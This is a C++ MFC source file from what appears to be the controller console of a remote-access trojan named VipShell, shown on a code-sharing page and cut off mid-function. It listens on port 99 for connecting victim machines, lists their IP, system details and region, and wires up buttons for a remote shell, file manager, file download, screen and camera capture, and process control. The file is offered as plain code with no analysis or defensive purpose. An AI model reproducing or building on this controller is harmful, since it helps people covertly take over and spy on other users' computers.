📄 vipshellclientdlg.cpp
字号:
// VipShellClientDlg.cpp : implementation file
//
#include "stdafx.h"
#include "VipShellClient.h"
#include "VipShellClientDlg.h"
#include <Winsock2.h>
#include "DownFileDlg.h"
#include ".\vipshellclientdlg.h"
#include "ShellDlg.h"
#include "FileManageDlg.h"
#include "ScreenInfoDlg.h"
#include "ScreenInfoDlg.h"
#include "CopyFileDlg.h"
#include "ProcessManageDlg.h"
#pragma comment(lib, "ws2_32.lib")
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
const DWORD LIST_HEAD_ServerAddr = 0;
const DWORD LIST_HEAD_Explain = 1;
const DWORD LIST_HEAD_Sysver = 2;
const DWORD LIST_HEAD_Memory = 3;
const DWORD LIST_HEAD_Cpu = 4;
const DWORD LIST_HEAD_Area = 5;
const DWORD LIST_HEAD_Career = 6;
#define WM_VIPSHELLCLIENTHANDLE (WM_USER+0x1110)
#define WM_VIPSHELLSHELLHANDLE (WM_USER+0x1111)
#define WM_VIPSHELLCLIENTFILEMANAGEHANDLE (WM_USER+0x1112)
#define WM_VIPSHELLCLIENTSCREENHANDLE (WM_USER+0x1113)
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
#define TIMER_CHECKSERVERCOUNT 0x1
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CVipShellClientDlg dialog
CVipShellClientDlg::CVipShellClientDlg(CWnd* pParent /*=NULL*/)
: CDialog(CVipShellClientDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CVipShellClientDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CVipShellClientDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CVipShellClientDlg)
DDX_Control(pDX, IDC_LIST_SERVER, m_listServer);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CVipShellClientDlg, CDialog)
//{{AFX_MSG_MAP(CVipShellClientDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_COMMAND(ID_MENUITEM_DOWNFILE, OnMenuitemDownfile)
ON_WM_TIMER()
ON_BN_CLICKED(IDC_BUTTON_GETFILEMANAG, OnButtonGetfilemanag)
ON_BN_CLICKED(IDC_BUTTON_GETSCREEN, OnButtonGetscreen)
ON_BN_CLICKED(IDC_BUTTON_GETCAP, OnButtonGetcap)
ON_MESSAGE(WM_VIPSHELLCLIENTHANDLE, OnVipShellClientHandleMessage)
ON_MESSAGE(WM_VIPSHELLSHELLHANDLE, OnVipShellShellHandleMessage)
ON_MESSAGE(WM_VIPSHELLCLIENTSCREENHANDLE,OnVipShellClientScreenHandleMessage)
ON_MESSAGE(WM_VIPSHELLCLIENTFILEMANAGEHANDLE, OnVipShellClientFileManageHandleMessage)
ON_BN_CLICKED(IDC_BUTTON_PROCESSLIST, OnButtonProcesslist)
//}}AFX_MSG_MAP
ON_NOTIFY(NM_RCLICK, IDC_LIST_SERVER, OnNMRclickListServer)
ON_BN_CLICKED(IDC_BUTTON_GETSHELL, OnBnClickedButtonGetshell)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CVipShellClientDlg message handlers
BOOL CVipShellClientDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
WORD wVersionRequested = MAKEWORD(1, 1);
WSADATA wsaData;
WSAStartup(wVersionRequested, &wsaData);
// TODO: Add extra initialization here
m_spVipShellHandleServer = CreatePinboardInstance(VipShellHandleServer);
m_spVipShellHandleServer->Listen(99, this);
DWORD exstyle = m_listServer.GetExtendedStyle();
m_listServer.SetExtendedStyle(exstyle | LVS_EX_GRIDLINES | LVS_EX_FULLROWSELECT /*| LVS_EX_CHECKBOXES*/);
m_listServer.InsertColumn(LIST_HEAD_ServerAddr, L"IP地址:", LVCFMT_LEFT, 100);
m_listServer.InsertColumn(LIST_HEAD_Explain, L"注释", LVCFMT_LEFT, 100);
m_listServer.InsertColumn(LIST_HEAD_Sysver, L"系统版本", LVCFMT_LEFT, 100);
m_listServer.InsertColumn(LIST_HEAD_Memory, L"内存大小", LVCFMT_LEFT, 100);
m_listServer.InsertColumn(LIST_HEAD_Cpu, L"CPU速度", LVCFMT_LEFT, 100);
m_listServer.InsertColumn(LIST_HEAD_Area, L"所在区域", LVCFMT_LEFT, 100);
m_listServer.InsertColumn(LIST_HEAD_Career, L"连接速度", LVCFMT_LEFT, 100);
SetTimer(TIMER_CHECKSERVERCOUNT, 1000, NULL);
return TRUE; // return TRUE unless you set the focus to a control
}
void CVipShellClientDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CVipShellClientDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CVipShellClientDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
CString CVipShellClientDlg::_GetServerEditionString(DWORD dwMajorVersion,DWORD dwMinorVersion, DWORD dwPlatformId)
{
CString strRet;
switch(dwPlatformId)
{
case VER_PLATFORM_WIN32_NT:
if(dwMajorVersion<=4)
strRet = "Windows NT ";
if(dwMajorVersion==5 && dwMinorVersion==0)
strRet = "Windows 2000 ";
if(dwMajorVersion==5 && dwMinorVersion==1)
strRet = "Windows XP ";
if( dwMajorVersion==5 && dwMinorVersion==2)
strRet = "Windows Server 2003 ";
break;
default:
strRet = "未知版本";
}
return strRet;
}
CString CVipShellClientDlg::_GetMakeCareerString(DWORD dwTime)
{
CString strRet;
if(dwTime == -1)
strRet = L"检测中..";
else
strRet.Format(_T("%d 毫秒"), dwTime);
return strRet;
}
CString CVipShellClientDlg::_GetMemoryString(DWORD dwMenorySize)
{
CString strRet;
strRet.Format(_T("%d M"), dwMenorySize / 1024 / 1024);
return strRet;
}
CString CVipShellClientDlg::_GetCpuString(DWORD dwCpu)
{
CString strRet;
strRet.Format(_T("%d ~MHz"), dwCpu);
return strRet;
}
/*
void CVipShellClientDlg::OnVipShellServerConnectHandle(I_VipShellServerConnectHandle* pServer)
{
CPinboardPtr<I_VipShellServerConnectHandle> spVipShellServerConnectHandle = pServer;
DWORD dwId = m_ConnectVec.AddServerConnectHandle(spVipShellServerConnectHandle);
VIPSHELLSERVERSYSTEMINFO info;
spVipShellServerConnectHandle->GetSystemInfo(&info);
CString strVer = _GetServerEditionString(info.dwMajorVersion, info.dwMinorVersion, info.dwPlatformId);
CString strExplain; strExplain.Format(_T("%s@%s"), info.szExplain, info.szName);
char szIp[100] = "";
DWORD dwPort;
dwPort = spVipShellServerConnectHandle->GetPeer(szIp);
CString strS; strS.Format("%s:%d", szIp, dwPort);
int nCount = m_listServer.GetItemCount();
int nRet = m_listServer.InsertItem(nCount, strS, 0);
m_listServer.SetItemData(nRet, dwId);
m_listServer.SetItemText(nRet, LIST_HEAD_Explain, strExplain);
m_listServer.SetItemText(nRet, LIST_HEAD_Sysver, strVer);
m_listServer.SetItemText(nRet, LIST_HEAD_Memory, _GetMemoryString(info.dwMemory));
m_listServer.SetItemText(nRet, LIST_HEAD_Cpu, _GetCpuString(info.dwCpuSpeed));
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -